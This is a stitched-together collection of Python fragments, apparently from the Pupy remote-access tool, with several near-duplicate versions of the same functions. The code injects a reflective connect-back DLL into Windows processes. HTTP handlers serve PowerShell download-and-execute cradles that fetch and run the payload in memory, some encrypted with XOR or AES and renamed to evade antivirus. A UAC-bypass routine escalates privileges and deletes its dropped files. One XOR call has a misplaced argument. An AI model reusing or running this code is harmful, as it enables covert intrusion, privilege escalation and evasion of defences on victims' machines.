def uploadPupyDLL(self, force_x86_dll=False):
'''
Upload pupy dll as a txt file
'''
res = self.module.client.conn.modules['pupy'].get_connect_back_host()
host, port = res.rsplit(':', 1)
logging.debug("Address configured is %s:%s for pupy dll..." %
(host, port))
logging.debug("Looking for process architecture...")
if "64" in self.module.client.desc["os_arch"] and not force_x86_dll:
logging.debug("Target achitecture is x64, using a x64 dll")
dllbuff = pupygen.get_edit_pupyx64_dll(
self.module.client.get_conf())
else:
logging.debug("Target achitecture is x86, using a x86 dll")
dllbuff = pupygen.get_edit_pupyx86_dll(
self.module.client.get_conf())
logging.debug("Creating the pupy dll in %s locally" %
(self.pupyDLLLocalPath))
with open(self.pupyDLLLocalPath, 'w+') as w:
w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' %
(base64.b64encode(dllbuff)))
logging.debug("Uploading pupy dll in {0}".format(
self.pupyDLLRemotePath))
upload(self.module.client.conn, self.pupyDLLLocalPath,
self.pupyDLLRemotePath)
def run(self, args):
dllbuf=b""
isProcess64bits=False
#TODO automatically fill ip/port
self.client.load_package("psutil")
self.client.load_package("pupwinutils.processes")
self.success("looking for configured connect back address ...")
res=self.client.conn.modules['pupy'].get_connect_back_host()
host, port=res.rsplit(':',1)
self.success("address configured is %s:%s ..."%(host,port))
self.success("looking for process %s architecture ..."%args.pid)
if self.client.conn.modules['pupwinutils.processes'].is_process_64(args.pid):
isProcess64bits=True
self.success("process is 64 bits")
dllbuff=pupygen.get_edit_pupyx64_dll(host, port)
else:
self.success("process is 32 bits")
dllbuff=pupygen.get_edit_pupyx86_dll(host, port)
self.success("injecting DLL in target process %s ..."%args.pid)
self.client.conn.modules['pupy'].reflective_inject_dll(args.pid, dllbuff, isProcess64bits)
self.success("DLL injected !")
self.success("waiting for a connection from the DLL ...")
while True:
c=has_proc_migrated(self.client, args.pid)
if c:
self.success("got a connection from migrated DLL !")
c.desc["id"]=self.client.desc["id"]
break
time.sleep(0.1)
try:
self.client.conn.exit()
except Exception:
pass
def uploadPupyDLL(self):
'''
Returns True if no error. Otherwise returns False
'''
res = self.module.client.conn.modules['pupy'].get_connect_back_host()
host, port = res.rsplit(':', 1)
logging.info("Address configured is %s:%s for pupy dll..." %
(host, port))
logging.info("Looking for process architecture...")
if self.module.client.conn.modules[
'pupwinutils.processes'].is_x64_architecture() == True:
logging.info("Target achitecture is x64, using a x64 dll")
dllbuff = pupygen.get_edit_pupyx64_dll(
self.module.client.get_conf())
elif self.module.client.conn.modules[
'pupwinutils.processes'].is_x86_architecture() == True:
logging.info("Target achitecture is x86, using a x86 dll")
dllbuff = pupygen.get_edit_pupyx86_dll(
self.module.client.get_conf())
else:
self.module.error(
"Target architecture is unknown (!= x86 or x64), abording...")
return False
logging.info("Creating the pupy dll in %s locally" %
(self.pupyDLLLocalPath))
with open(self.pupyDLLLocalPath, 'w+') as w:
w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' %
(base64.b64encode(dllbuff)))
logging.info("Uploading pupy dll in {0}".format(
self.pupyDLLRemotePath))
upload(self.module.client.conn, self.pupyDLLLocalPath,
self.pupyDLLRemotePath)
return True
def migrate(module, pid, keep=False):
module.client.load_package("psutil")
module.client.load_package("pupwinutils.processes")
dllbuf = b""
isProcess64bits = False
module.success("looking for configured connect back address ...")
res = module.client.conn.modules['pupy'].get_connect_back_host()
host, port = res.rsplit(':', 1)
module.success("address configured is %s:%s ..." % (host, port))
module.success("looking for process %s architecture ..." % pid)
if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
isProcess64bits = True
module.success("process is 64 bits")
dllbuff = pupygen.get_edit_pupyx64_dll(module.client.get_conf())
else:
module.success("process is 32 bits")
dllbuff = pupygen.get_edit_pupyx86_dll(module.client.get_conf())
module.success("injecting DLL in target process %s ..." % pid)
module.client.conn.modules['pupy'].reflective_inject_dll(
pid, dllbuff, isProcess64bits)
module.success("DLL injected !")
if keep:
return
module.success("waiting for a connection from the DLL ...")
while True:
c = has_proc_migrated(module.client, pid)
if c:
module.success("got a connection from migrated DLL !")
c.desc["id"] = module.client.desc["id"]
break
time.sleep(0.1)
try:
module.client.conn.exit()
except Exception:
pass
def migrate(module, pid, keep=False):
module.client.load_package("psutil")
module.client.load_package("pupwinutils.processes")
dllbuf=b""
isProcess64bits=False
module.success("looking for configured connect back address ...")
res=module.client.conn.modules['pupy'].get_connect_back_host()
host, port=res.rsplit(':',1)
module.success("address configured is %s:%s ..."%(host,port))
module.success("looking for process %s architecture ..."%pid)
if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
isProcess64bits=True
module.success("process is 64 bits")
dllbuff=pupygen.get_edit_pupyx64_dll(module.client.get_conf())
else:
module.success("process is 32 bits")
dllbuff=pupygen.get_edit_pupyx86_dll(module.client.get_conf())
module.success("injecting DLL in target process %s ..."%pid)
module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
module.success("DLL injected !")
if keep:
return
module.success("waiting for a connection from the DLL ...")
while True:
c=has_proc_migrated(module.client, pid)
if c:
module.success("got a connection from migrated DLL !")
c.desc["id"]=module.client.desc["id"]
break
time.sleep(0.1)
try:
module.client.conn.exit()
except Exception:
pass
def do_GET(self):
if self.path == "/p":
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
pe_bootloader = (textwrap.dedent("""
iex (New-Object System.Net.WebClient).DownloadString("http://%s:%s/rpi")
$path="b64"
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"}
[Byte[]]$b=(New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path)
Invoke-ReflectivePEInjection -PEBytes $b
""" % (self.server.link_ip, self.server.link_port,
self.server.link_ip, self.server.link_port)))
self.wfile.write(pe_bootloader)
print colorize("[+] ",
"green") + " powershell script stage1 served !"
elif self.path == "/rpi":
#serve the powershell script
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(
open(
os.path.join(ROOT, "external", "PowerSploit",
"CodeExecution",
"Invoke-ReflectivePEInjection.ps1")).read())
print colorize(
"[+] ", "green"
) + " powershell Invoke-ReflectivePEInjection.ps1 script served !"
elif self.path == "/b32":
#serve the pupy 32bits dll to load from memory
self.send_response(200)
self.send_header('Content-type', 'application/octet-stream')
self.end_headers()
print colorize("[+] ",
"green") + " generating x86 reflective dll ..."
self.wfile.write(get_edit_pupyx86_dll(self.server.payload_conf))
print colorize("[+] ",
"green") + " pupy x86 reflective dll served !"
elif self.path == "/b64":
#serve the pupy 64bits dll to load from memory
self.send_response(200)
self.send_header('Content-type', 'application/octet-stream')
self.end_headers()
print colorize("[+] ",
"green") + " generating amd64 reflective dll ..."
self.wfile.write(get_edit_pupyx64_dll(self.server.payload_conf))
print colorize("[+] ",
"green") + " pupy amd64 reflective dll served !"
else:
self.send_response(404)
self.end_headers()
return
def do_GET(self):
if self.path=="/p":
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
pe_bootloader=(textwrap.dedent("""
$rpi=[System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString("http://%s:%s/rpi"))
for($i=0; $i -lt $rpi.count ; $i++)
{
$rpi[$i] = $rpi[$i] -bxor %s
}
iex([System.Text.Encoding]::UTF8.GetString($rpi))
$path="b64"
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"}
[Byte[]]$b=(New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path)
for($i=0; $i -lt $b.count ; $i++)
{
$b[$i] = $b[$i] -bxor %s
}
Invoke-ReflectivePEInjection -ForceASLR -PEBytes $b -Verbose
"""%(self.server.link_ip, self.server.link_port, hex(self.server.xor_key), self.server.link_ip, self.server.link_port, hex(self.server.xor_key))))
self.wfile.write(pe_bootloader)
print colorize("[+] ","green")+" powershell script stage1 served !"
elif self.path=="/rpi":
#serve the powershell script
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
code=open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1")).read()
self.wfile.write(base64.b64encode(xor_bytes(code, self.server.xor_key)))
print colorize("[+] ","green")+" powershell Invoke-ReflectivePEInjection.ps1 script served !"
elif self.path=="/b32":
#serve the pupy 32bits dll to load from memory
self.send_response(200)
self.send_header('Content-type','application/octet-stream')
self.end_headers()
print colorize("[+] ","green")+" generating x86 reflective dll ..."
self.wfile.write(xor_bytes(get_edit_pupyx86_dll(self.server.payload_conf)), self.server.xor_key)
print colorize("[+] ","green")+" pupy x86 reflective dll served !"
elif self.path=="/b64":
#serve the pupy 64bits dll to load from memory
self.send_response(200)
self.send_header('Content-type','application/octet-stream')
self.end_headers()
print colorize("[+] ","green")+" generating amd64 reflective dll ..."
self.wfile.write(xor_bytes(get_edit_pupyx64_dll(self.server.payload_conf), self.server.xor_key))
print colorize("[+] ","green")+" pupy amd64 reflective dll served !"
else:
self.send_response(404)
self.end_headers()
return
def do_GET(self):
if self.path=="/p":
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
pe_bootloader=PS1_DECRYPT+"\n"+(textwrap.dedent("""
$p="%s"
$rpi=(((New-Object System.Net.WebClient).DownloadData("http://%s:%s/rpi")))
$path="b64"
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"}
$raw=([Byte[]]((New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path)))
iex([System.Text.Encoding]::UTF8.GetString( (AES-Decrypt $rpi $p)))
Write-Output "DLL received"
$raw=AES-Decrypt $raw $p
Write-Output "Reflective DLL decrypted"
[GC]::Collect()
%s -ForceASLR -PEBytes $raw #-Verbose
"""%(self.server.aes_key, self.server.link_ip, self.server.link_port, self.server.link_ip, self.server.link_port, self.server.random_reflectivepeinj_name)))
self.wfile.write(pe_bootloader)
print colorize("[+] ","green")+" powershell script stage1 served !"
elif self.path=="/rpi":
#serve the powershell script
self.send_response(200)
#self.send_header('Content-type','text/html')
self.send_header('Content-type','application/octet-stream')
self.end_headers()
code=open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()
code=code.replace("Invoke-ReflectivePEInjection", self.server.random_reflectivepeinj_name) # seems to bypass some av like avast :o)
d=aes_encrypt(code, self.server.aes_key)
self.wfile.write(d)
print colorize("[+] ","green")+" powershell Invoke-ReflectivePEInjection.ps1 script served !"
elif self.path=="/b32":
#serve the pupy 32bits dll to load from memory
self.send_response(200)
self.send_header('Content-type','application/octet-stream')
self.end_headers()
print colorize("[+] ","green")+" generating x86 reflective dll ..."
self.wfile.write(aes_encrypt(get_edit_pupyx86_dll(self.server.payload_conf), self.server.aes_key))
print colorize("[+] ","green")+" pupy x86 reflective dll served !"
elif self.path=="/b64":
#serve the pupy 64bits dll to load from memory
self.send_response(200)
self.send_header('Content-type','application/octet-stream')
self.end_headers()
print colorize("[+] ","green")+" generating amd64 reflective dll ..."
self.wfile.write(aes_encrypt(get_edit_pupyx64_dll(self.server.payload_conf), self.server.aes_key))
print colorize("[+] ","green")+" pupy amd64 reflective dll served !"
else:
self.send_response(404)
self.end_headers()
return
def do_GET(self):
if self.path=="/p":
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
pe_bootloader=(textwrap.dedent("""
iex (New-Object System.Net.WebClient).DownloadString("http://%s:%s/rpi")
$path="b64"
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"}
[Byte[]]$b=(New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path)
Invoke-ReflectivePEInjection -PEBytes $b
"""%(self.server.link_ip, self.server.link_port, self.server.link_ip, self.server.link_port)))
self.wfile.write(pe_bootloader)
print colorize("[+] ","green")+" powershell script stage1 served !"
elif self.path=="/rpi":
#serve the powershell script
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
self.wfile.write(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1")).read())
print colorize("[+] ","green")+" powershell Invoke-ReflectivePEInjection.ps1 script served !"
elif self.path=="/b32":
#serve the pupy 32bits dll to load from memory
self.send_response(200)
self.send_header('Content-type','application/octet-stream')
self.end_headers()
print colorize("[+] ","green")+" generating x86 reflective dll ..."
self.wfile.write(get_edit_pupyx86_dll(self.server.payload_conf))
print colorize("[+] ","green")+" pupy x86 reflective dll served !"
elif self.path=="/b64":
#serve the pupy 64bits dll to load from memory
self.send_response(200)
self.send_header('Content-type','application/octet-stream')
self.end_headers()
print colorize("[+] ","green")+" generating amd64 reflective dll ..."
self.wfile.write(get_edit_pupyx64_dll(self.server.payload_conf))
print colorize("[+] ","green")+" pupy amd64 reflective dll served !"
else:
self.send_response(404)
self.end_headers()
return
def uploadPupyDLL(self, force_x86_dll=False):
'''
Upload pupy dll as a txt file
'''
res=self.module.client.conn.modules['pupy'].get_connect_back_host()
host, port = res.rsplit(':',1)
logging.debug("Address configured is %s:%s for pupy dll..."%(host,port))
logging.debug("Looking for process architecture...")
if "64" in self.module.client.desc["os_arch"] and not force_x86_dll:
logging.debug("Target achitecture is x64, using a x64 dll")
dllbuff=pupygen.get_edit_pupyx64_dll(self.module.client.get_conf())
else:
logging.debug("Target achitecture is x86, using a x86 dll")
dllbuff=pupygen.get_edit_pupyx86_dll(self.module.client.get_conf())
logging.debug("Creating the pupy dll in %s locally"%(self.pupyDLLLocalPath))
with open(self.pupyDLLLocalPath, 'w+') as w:
w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff)))
logging.debug("Uploading pupy dll in {0}".format(self.pupyDLLRemotePath))
upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
def uploadPupyDLL(self):
'''
Returns True if no error. Otherwise returns False
'''
res=self.module.client.conn.modules['pupy'].get_connect_back_host()
host, port = res.rsplit(':',1)
logging.info("Address configured is %s:%s for pupy dll..."%(host,port))
logging.info("Looking for process architecture...")
if self.module.client.conn.modules['pupwinutils.processes'].is_x64_architecture() == True:
logging.info("Target achitecture is x64, using a x64 dll")
dllbuff=pupygen.get_edit_pupyx64_dll(self.module.client.get_conf())
elif self.module.client.conn.modules['pupwinutils.processes'].is_x86_architecture() == True:
logging.info("Target achitecture is x86, using a x86 dll")
dllbuff=pupygen.get_edit_pupyx86_dll(self.module.client.get_conf())
else:
self.module.error("Target architecture is unknown (!= x86 or x64), abording...")
return False
logging.info("Creating the pupy dll in %s locally"%(self.pupyDLLLocalPath))
with open(self.pupyDLLLocalPath, 'w+') as w:
w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff)))
logging.info("Uploading pupy dll in {0}".format(self.pupyDLLRemotePath))
upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
return True
def bypassuac_through_trusted_publisher_certificate(module, rootPupyPath):
'''
Performs a bypass UAC attack by utilizing the trusted publisher certificate through process injection.
'''
module.client.load_package("psutil")
module.client.load_package("pupwinutils.processes")
remoteTempFolder=module.client.conn.modules['os.path'].expandvars("%TEMP%")
changeMeTag = "$$$CHANGE_ME$$$"
#First powershell script executed by Invoke-BypassUAC
mainPowerShellScript = """
cat $$$CHANGE_ME$$$\Invoke-BypassUAC.txt | Out-String | iex
Invoke-BypassUAC -Command 'powershell.exe -ExecutionPolicy Bypass -file $$$CHANGE_ME$$$\secdPowerShellScriptPrivileged.ps1' -Verbose
"""
#Second powershell script executed by first main script (privileged)
secdPowerShellScriptPrivileged = """
cat $$$CHANGE_ME$$$\Invoke-ReflectivePEInjection.txt | Out-String | iex
cat $$$CHANGE_ME$$$\dllFile.txt | Out-String | iex
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
"""
mainPowerShellScriptPath = os.path.join(gettempdir(),'mainPowerShellScript.txt')
logging.info("Creating the main Powershell script in %s locally"%(mainPowerShellScriptPath))
f = open(mainPowerShellScriptPath,'w+')
f.write(mainPowerShellScript.replace(changeMeTag, remoteTempFolder))
f.close()
secdPowerShellScriptPrivilegedPath = os.path.join(gettempdir(),'secdPowerShellScriptPrivileged.txt')
logging.info("Creating the second Powershell script in %s locally"%(secdPowerShellScriptPrivilegedPath))
f = open(secdPowerShellScriptPrivilegedPath,'w+')
f.write(secdPowerShellScriptPrivileged.replace(changeMeTag, remoteTempFolder))
f.close()
logging.info("Uploading powershell code for DLL injection...")
upload(module.client.conn, os.path.join(rootPupyPath,"pupy", "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), module.client.conn.modules['os.path'].join(remoteTempFolder,'Invoke-ReflectivePEInjection.txt'))
logging.info("Uploading powershell code for UAC Bypass...")
upload(module.client.conn, os.path.join(rootPupyPath,"pupy", "external", "Empire", "privesc", "Invoke-BypassUAC.ps1"), module.client.conn.modules['os.path'].join(remoteTempFolder,'Invoke-BypassUAC.txt'))
logging.info("Uploading main powershell script...")
upload(module.client.conn, mainPowerShellScriptPath, module.client.conn.modules['os.path'].join(remoteTempFolder,'mainPowerShellScript.ps1'))
logging.info("Uploading second powershell script...")
upload(module.client.conn, secdPowerShellScriptPrivilegedPath, module.client.conn.modules['os.path'].join(remoteTempFolder,'secdPowerShellScriptPrivileged.ps1'))
res=module.client.conn.modules['pupy'].get_connect_back_host()
host, port = res.rsplit(':',1)
logging.info("Address configured is %s:%s for pupy dll..."%(host,port))
logging.info("Looking for process architecture...")
if module.client.conn.modules['pupwinutils.processes'].is_x64_architecture() == True:
logging.info("Target achitecture is x64, using a x64 dll")
dllbuff=pupygen.get_edit_pupyx64_dll(module.client.get_conf())
elif module.client.conn.modules['pupwinutils.processes'].is_x86_architecture() == True:
logging.info("Target achitecture is x86, using a x86 dll")
dllbuff=pupygen.get_edit_pupyx86_dll(module.client.get_conf())
else:
module.error("Target architecture is unknown (!= x86 or x64), abording...")
return
pupyDLLPath = os.path.join(gettempdir(),'dllFile.txt')
remotePupyDLLPath = module.client.conn.modules['os.path'].join(remoteTempFolder,'dllFile.txt')
logging.info("Creating the pupy dll in %s locally"%(pupyDLLPath))
f = open(pupyDLLPath,'w+')
f.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff)))
f.close()
logging.info("Uploading pupy dll...")
upload(module.client.conn, pupyDLLPath, remotePupyDLLPath)
output = module.client.conn.modules.subprocess.check_output("PowerShell.exe -ExecutionPolicy Bypass -File %s"%(module.client.conn.modules['os.path'].join(remoteTempFolder,'mainPowerShellScript.ps1')), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True)
logging.info("BypassUAC script output: %s"%(output))
if "DLL injection complete!" in output:
module.success("UAC bypassed")
else:
module.warning("Impossible to know what's happened remotely")
module.success("Waiting for a connection from the DLL (take few seconds)...")
def do_GET(self):
if self.path == "/p":
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
pe_bootloader = (textwrap.dedent("""
$rpi=[System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString("http://%s:%s/rpi"))
for($i=0; $i -lt $rpi.count ; $i++)
{
$rpi[$i] = $rpi[$i] -bxor %s
}
iex([System.Text.Encoding]::UTF8.GetString($rpi))
$path="b64"
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"}
[Byte[]]$b=(New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path)
for($i=0; $i -lt $b.count ; $i++)
{
$b[$i] = $b[$i] -bxor %s
}
Invoke-ReflectivePEInjection -ForceASLR -PEBytes $b -Verbose
""" % (self.server.link_ip, self.server.link_port,
hex(self.server.xor_key), self.server.link_ip,
self.server.link_port, hex(self.server.xor_key))))
self.wfile.write(pe_bootloader)
print colorize("[+] ",
"green") + " powershell script stage1 served !"
elif self.path == "/rpi":
#serve the powershell script
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
code = open(
os.path.join(ROOT, "external", "PowerSploit", "CodeExecution",
"Invoke-ReflectivePEInjection.ps1")).read()
self.wfile.write(
base64.b64encode(xor_bytes(code, self.server.xor_key)))
print colorize(
"[+] ", "green"
) + " powershell Invoke-ReflectivePEInjection.ps1 script served !"
elif self.path == "/b32":
#serve the pupy 32bits dll to load from memory
self.send_response(200)
self.send_header('Content-type', 'application/octet-stream')
self.end_headers()
print colorize("[+] ",
"green") + " generating x86 reflective dll ..."
self.wfile.write(
xor_bytes(get_edit_pupyx86_dll(self.server.payload_conf)),
self.server.xor_key)
print colorize("[+] ",
"green") + " pupy x86 reflective dll served !"
elif self.path == "/b64":
#serve the pupy 64bits dll to load from memory
self.send_response(200)
self.send_header('Content-type', 'application/octet-stream')
self.end_headers()
print colorize("[+] ",
"green") + " generating amd64 reflective dll ..."
self.wfile.write(
xor_bytes(get_edit_pupyx64_dll(self.server.payload_conf),
self.server.xor_key))
print colorize("[+] ",
"green") + " pupy amd64 reflective dll served !"
else:
self.send_response(404)
self.end_headers()
return
def bypassuac_through_trusted_publisher_certificate(module, rootPupyPath):
'''
Performs a bypass UAC attack by utilizing the trusted publisher certificate through process injection.
'''
module.client.load_package("psutil")
module.client.load_package("pupwinutils.processes")
#Define Remote paths
remoteTempFolder = module.client.conn.modules['os.path'].expandvars(
"%TEMP%")
invokeReflectivePEInjectionRemotePath = "{0}.{1}".format(
module.client.conn.modules['os.path'].join(
remoteTempFolder, next(_get_candidate_names())), '.txt')
invokeBypassUACRemotePath = "{0}.{1}".format(
module.client.conn.modules['os.path'].join(
remoteTempFolder, next(_get_candidate_names())), '.ps1')
mainPowershellScriptRemotePath = "{0}.{1}".format(
module.client.conn.modules['os.path'].join(
remoteTempFolder, next(_get_candidate_names())), '.ps1')
pupyDLLRemotePath = "{0}.{1}".format(
module.client.conn.modules['os.path'].join(
remoteTempFolder, next(_get_candidate_names())), '.txt')
#Define Local paths
mainPowerShellScriptPrivilegedLocalPath = os.path.join(
gettempdir(), 'mainPowerShellScriptPrivileged.txt')
invokeBypassUACLocalPath = os.path.join(rootPupyPath, "pupy", "external",
"Empire", "privesc",
"Invoke-BypassUAC.ps1")
invokeReflectivePEInjectionLocalPath = os.path.join(
rootPupyPath, "pupy", "external", "PowerSploit", "CodeExecution",
"Invoke-ReflectivePEInjection.ps1")
invokeBypassUACLocalPath = os.path.join(rootPupyPath, "pupy", "external",
"Empire", "privesc",
"Invoke-BypassUAC.ps1")
pupyDLLLocalPath = os.path.join(gettempdir(), 'dllFile.txt')
#Constants
bypassUACcmd = "Invoke-BypassUAC -Command 'powershell.exe -ExecutionPolicy Bypass -file {0} -Verbose'".format(
mainPowershellScriptRemotePath
) #{0}=mainPowerShellScriptPrivileged.ps1
byPassUACSuccessString = "DLL injection complete!"
#main powershell script executed by bypassuac powershell script
mainPowerShellScriptPrivileged = """
cat {0} | Out-String | iex
cat {1} | Out-String | iex
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
""" #{0}=Invoke-ReflectivePEInjection.txt and {1}=dllFile.txt
logging.info("Creating the Powershell script in %s locally" %
(mainPowerShellScriptPrivilegedLocalPath))
with open(mainPowerShellScriptPrivilegedLocalPath, 'w+') as w:
w.write(
mainPowerShellScriptPrivileged.format(
invokeReflectivePEInjectionRemotePath, pupyDLLRemotePath))
logging.info("Uploading powershell code for DLL injection in {0}".format(
invokeReflectivePEInjectionRemotePath))
upload(module.client.conn, invokeReflectivePEInjectionLocalPath,
invokeReflectivePEInjectionRemotePath)
#logging.info("Uploading powershell code for UAC Bypass in {0}".format())
#upload(module.client.conn, invokeBypassUACLocalPath, invokeBypassUACRemotePath)
logging.info(
"Uploading main powershell script executed by BypassUAC in {0}".format(
mainPowerShellScriptPrivilegedLocalPath))
upload(module.client.conn, mainPowerShellScriptPrivilegedLocalPath,
mainPowershellScriptRemotePath)
res = module.client.conn.modules['pupy'].get_connect_back_host()
host, port = res.rsplit(':', 1)
logging.info("Address configured is %s:%s for pupy dll..." % (host, port))
logging.info("Looking for process architecture...")
if module.client.conn.modules['pupwinutils.processes'].is_x64_architecture(
) == True:
logging.info("Target achitecture is x64, using a x64 dll")
dllbuff = pupygen.get_edit_pupyx64_dll(module.client.get_conf())
elif module.client.conn.modules[
'pupwinutils.processes'].is_x86_architecture() == True:
logging.info("Target achitecture is x86, using a x86 dll")
dllbuff = pupygen.get_edit_pupyx86_dll(module.client.get_conf())
else:
module.error(
"Target architecture is unknown (!= x86 or x64), abording...")
return
logging.info("Creating the pupy dll in %s locally" % (pupyDLLLocalPath))
with open(pupyDLLLocalPath, 'w+') as w:
w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' %
(base64.b64encode(dllbuff)))
logging.info("Uploading pupy dll in {0}".format(pupyDLLRemotePath))
upload(module.client.conn, pupyDLLLocalPath, pupyDLLRemotePath)
content = re.sub("Write-Verbose ",
"Write-Output ",
open(invokeBypassUACLocalPath, 'r').read(),
flags=re.I)
logging.info(
"Starting BypassUAC script with the following cmd: {0}".format(
bypassUACcmd))
output = execute_powershell_script(module, content, bypassUACcmd)
logging.info("BypassUAC script output: %s\n" % (output))
if byPassUACSuccessString in output:
module.success("UAC bypassed")
else:
module.warning(
"Impossible to know what's happened remotely. You should active debug mode."
)
for aFile in [
invokeReflectivePEInjectionRemotePath, invokeBypassUACRemotePath,
mainPowershellScriptRemotePath, pupyDLLRemotePath
]:
logging.info("Deleting remote file {0}".format(aFile))
output = module.client.conn.modules.subprocess.check_output(
"DEL /F /Q \"{0}\"".format(aFile),
stderr=subprocess.STDOUT,
stdin=subprocess.PIPE,
shell=True)
logging.debug("Delete Status: {0}".format(repr(output)))
module.success(
"Waiting for a connection from the DLL (take few seconds)...")